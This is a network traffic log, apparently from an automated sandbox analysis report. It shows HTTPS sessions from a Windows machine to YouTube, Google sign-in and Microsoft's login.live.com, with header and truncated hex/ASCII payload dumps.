2024-04-18 21:40:50 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 18 Apr 2024 21:39:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_SN1 x-ms-request-id: de8b0b23-3bd3-47e2-a197-c4ec4cf85cae PPServer: PPV: 30 H: SN1PEPF0002F910 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:49 GMT Connection: close Content-Length: 17166
2024-04-18 21:40:50 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 44 41 38 36 46 42 34 39 34 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 64 30 34 66 38 32 66 2d 63 65 39 39 2d 34 66 37 65 2d 38 66 31 66 2d 34 33 34 37 30 61 63 32 38 63 36 34 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00DA86FB494</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="9d04f82f-ce99-4f7e-8f1f-43470ac28c64" LicenseID="3252b20c-d425-4711
2024-04-18 21:40:50 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49881	172.217.215.136	443	940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:49 UTC	1083	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCPnA1BUIpu3MIhj2yc0BGNXdzQEY0/7NARjYhs4BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:50 UTC	2703	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 21:40:50 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 18-Apr-2024 22:10:50 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=F7u7lb5n2hU; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Fri, 23-Jul-2021 21:40:50 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=euMpi1WnUSU; Domain=.youtube.com; Expires=Tue, 15-Oct-2024 21:40:50 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgUQ%3D%3D; Domain=.youtube.com; Expires=Tue, 15-Oct-2024 21:40:50 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: PREF=f7=4000; Domain=.youtube.com; Expires=Wed, 18-Dec-2024 09:33:50 GMT; Path=/; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49890	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-18 21:40:51 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:52 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: f7cd5c1e-3246-42b7-ac97-d24b1c7e0b79 PPServer: PPV: 30 H: SN1PEPF0002F180 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:51 GMT Connection: close Content-Length: 11390
2024-04-18 21:40:52 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49894	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-18 21:40:52 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: 5e073305-c9c8-4b74-96d3-9cb5d83ba45a PPServer: PPV: 30 H: SN1PEPF0002F96D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:52 GMT Connection: close Content-Length: 11390
2024-04-18 21:40:53 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49899	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:53 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:53 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 521cbfb0-2640-473a-895c-39d07fa9cc66 PPServer: PPV: 30 H: SN1PEPF0002F94F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:52 GMT Connection: close Content-Length: 1918
2024-04-18 21:40:53 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49908	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:54 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 275b71ec-7154-42c7-9f5e-852e0a9d85f7 PPServer: PPV: 30 H: SN1PEPF0002F0B3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:53 GMT Connection: close Content-Length: 1918
2024-04-18 21:40:54 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49909	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:55 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30171.7 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: ac229303-c20c-4c6a-8314-0b55080d8b23 PPServer: PPV: 30 H: SN1PEPF0002F918 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:54 GMT Connection: close Content-Length: 11390
